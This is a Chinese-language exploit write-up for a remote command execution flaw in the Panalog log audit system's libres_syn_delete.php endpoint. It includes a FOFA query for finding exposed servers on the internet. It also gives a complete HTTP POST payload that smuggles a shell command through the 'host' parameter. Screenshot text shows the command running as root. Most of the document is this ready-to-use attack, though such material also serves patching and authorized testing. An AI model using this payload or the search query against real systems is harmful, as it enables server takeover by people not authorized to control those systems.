P3-2Panalog-日志审计系统-RCE

漏洞描述:

Panalog<u>日志审计</u>系统 libres syn delete.php接口处存在远程<u>命令执行漏洞</u>,攻击者可执行任意命令,接管服务器权限。

version <= MARS r10p1Free

网站图片:



网络测绘:

fofa语法:

FOFA: app="Panabit-Panalog"

漏洞复现:

payload:

POST /content-apply/libres_syn_delete.php HTTP/1.1

Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

token=1&id=2&host=|id >1.txt

效果图:

```
Request
                                                               〈 〉 数据包扫描 热加载 构造请求 💸
                                                                                                         Responses https 23byt
1 POST /content-apply/libres_syn_delete.php HTTP/1.1
                                                                                                         1 HTTP/1.1-200-OK
                                                                                                               Server: nginx
  3 User-Agent: Mozilla/5.0 (Macintosh; Intel-Mac-OS-X-10_14_3) AppleWebKit/605.1.15 (KHTML, like-
                                                                                                               Date: Sat, 02 Jan
      Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                               Content-Type: te:
     Content-Type: application/x-www-form-urlencoded
                                                                                                               Connection: close
      Accept-Encoding: gzip
                                                                                                               Content-Length:
      Connection: close
                                                                                                               {"yn":"yes","str
      token=1&id=2&host=|id+>1.txt
```

验证





uid=0(root) gid=0(whee1) groups=0(whee1)